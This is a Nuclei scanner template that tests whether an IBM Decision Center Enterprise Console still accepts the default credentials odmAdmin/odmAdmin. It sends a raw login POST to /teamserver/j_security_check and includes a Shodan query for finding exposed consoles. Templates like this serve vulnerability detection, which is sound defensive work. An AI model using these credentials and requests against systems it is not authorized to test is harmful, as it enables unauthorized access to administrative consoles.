id: ibm-dcec-default-login

info:
  name: IBM Decision Center Enterprise Console - Default Login
  author: DhiyaneshDK
  severity: high
  reference:
    - https://www.ibm.com/docs/en/odm/8.5.1?topic=console-tutorial-getting-started-decision-center-enterprise
  metadata:
    verified: true
    max-request: 1
    shodan-query: "html=\"Decision Center Enterprise console\""
  tags: ibm,default-login,decision-center

http:
  - raw:
      - |
        POST /teamserver/j_security_check HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        j_username={{username}}&j_password={{password}}

    host-redirects: true
    max-redirects: 3

    attack: pitchfork
    payloads:
      username:
        - odmAdmin
      password:
        - odmAdmin

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Current action:"
          - "Sign Out"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022048ead058e6bd0bbc7941e3094c97bc21e6639d7558a39663f21b990fbad49c2a02207a525b2a5d7168da8e0525f0f496385187c16c735d5d3ec9d79e7bbcfe976c6d:922c64590222798bb761d5b6d8e72950